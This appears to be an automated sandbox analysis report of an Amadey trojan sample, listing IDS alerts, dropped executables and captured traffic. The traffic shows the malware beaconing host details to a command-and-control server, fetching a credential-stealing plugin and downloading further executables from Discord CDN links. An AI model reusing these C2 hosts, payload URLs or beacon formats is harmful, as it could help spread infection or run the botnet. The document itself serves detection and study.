Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:50059 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:50060 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:50062 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:50063 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:50065 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:50066 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:50068 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:50069 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:50071 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:50072 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:50073 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:50075 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:50076 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:50078 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:50079 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:50081 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:50082 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:50084 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:50085 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:50087 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:50088 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:50090 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:50092 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:50093 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:50094 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:50096 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:50097 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:50099 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:50100 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:50102 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:50103 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:50105 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:50106 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:50107 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:50108 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:50110 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:50111 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:50113 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:50114 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:50115 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:50117 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:50118 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:50120 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:50121 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:50122 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:50124 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:50125 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:50127 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:50128 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:50130 -> 185.114.247.54:80

C2 URLs / IPs found in malware configuration

Show sources

Source: Malware configuration extractor

URLs: @#/l(Rb*

Creates HTML files with .exe extension (expired dropper behavior)

Show sources

Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	File created: kliper.exe.2.dr
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	File created: GoogleInstall.exe.2.dr
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	File created: svchost.exe.2.dr

Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7Host: x-vpn.ugContent-Length: 96499Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: GET /hfV3vDtt/plugins/cred.dll HTTP/1.1Host: x-vpn.ug
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: GET /attachments/837741922641903637/866052288628129812/kliper.exe HTTP/1.1Host: cdn.discordapp.com
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7Host: x-vpn.ugContent-Length: 96499Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7Host: x-vpn.ugContent-Length: 96499Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7Host: x-vpn.ugContent-Length: 96499Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7Host: x-vpn.ugContent-Length: 96499Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7Host: x-vpn.ugContent-Length: 96499Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7Host: x-vpn.ugContent-Length: 96499Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7Host: x-vpn.ugContent-Length: 96499Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7Host: x-vpn.ugContent-Length: 96499Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7Host: x-vpn.ugContent-Length: 96499Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7Host: x-vpn.ugContent-Length: 96499Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7Host: x-vpn.ugContent-Length: 96499Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7Host: x-vpn.ugContent-Length: 96499Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7Host: x-vpn.ugContent-Length: 96499Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7Host: x-vpn.ugContent-Length: 96499Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7Host: x-vpn.ugContent-Length: 96499Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7Host: x-vpn.ugContent-Length: 96499Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 31Cache-Control: no-cacheData Raw: 65 30 3d 31 30 30 30 30 30 31 30 30 31 26 75 6e 69 74 3d 31 35 32 31 33 38 35 33 33 32 31 39 Data Ascii: e0=1000001001&unit=152138533219
Source: global traffic	HTTP traffic detected: GET /attachments/837741922641903637/866064263189233694/GoogleInstall.exe HTTP/1.1Host: cdn.discordapp.com
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7Host: x-vpn.ugContent-Length: 96499Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7Host: x-vpn.ugContent-Length: 96499Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7Host: x-vpn.ugContent-Length: 96499Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7Host: x-vpn.ugContent-Length: 96499Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7Host: x-vpn.ugContent-Length: 96499Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7Host: x-vpn.ugContent-Length: 96499Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7Host: x-vpn.ugContent-Length: 96499Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7Host: x-vpn.ugContent-Length: 96499Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7Host: x-vpn.ugContent-Length: 96499Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7Host: x-vpn.ugContent-Length: 96499Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----907754d41576d1e307241bcfe54a19abHost: x-vpn.ugContent-Length: 96844Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7Host: x-vpn.ugContent-Length: 96499Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7Host: x-vpn.ugContent-Length: 96499Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----6e2e3119131b79d46801c9ae5fd87945Host: x-vpn.ugContent-Length: 96835Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----6e2e3119131b79d46801c9ae5fd87945Host: x-vpn.ugContent-Length: 96835Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7Host: x-vpn.ugContent-Length: 96499Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 31Cache-Control: no-cacheData Raw: 65 30 3d 31 30 30 30 30 30 32 30 30 31 26 75 6e 69 74 3d 31 35 32 31 33 38 35 33 33 32 31 39 Data Ascii: e0=1000002001&unit=152138533219
Source: global traffic	HTTP traffic detected: GET /attachments/837741922641903637/866064264027701248/svchost.exe HTTP/1.1Host: cdn.discordapp.com
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7Host: x-vpn.ugContent-Length: 96499Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7Host: x-vpn.ugContent-Length: 96499Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7Host: x-vpn.ugContent-Length: 96499Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7Host: x-vpn.ugContent-Length: 96499Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7Host: x-vpn.ugContent-Length: 96499Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7Host: x-vpn.ugContent-Length: 96499Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7Host: x-vpn.ugContent-Length: 96499Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7Host: x-vpn.ugContent-Length: 96499Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7Host: x-vpn.ugContent-Length: 96499Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7Host: x-vpn.ugContent-Length: 96499Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----0545694ecc0f09eecd2eefdc0f03559aHost: x-vpn.ugContent-Length: 96777Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----0545694ecc0f09eecd2eefdc0f03559aHost: x-vpn.ugContent-Length: 96777Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7Host: x-vpn.ugContent-Length: 96499Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7Host: x-vpn.ugContent-Length: 96499Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 31Cache-Control: no-cacheData Raw: 65 30 3d 31 30 30 30 30 30 33 30 30 31 26 75 6e 69 74 3d 31 35 32 31 33 38 35 33 33 32 31 39 Data Ascii: e0=1000003001&unit=152138533219
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7Host: x-vpn.ugContent-Length: 96499Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7Host: x-vpn.ugContent-Length: 96499Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7Host: x-vpn.ugContent-Length: 96499Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7Host: x-vpn.ugContent-Length: 96499Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7Host: x-vpn.ugContent-Length: 96499Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7Host: x-vpn.ugContent-Length: 96499Cache-Control: no-cache
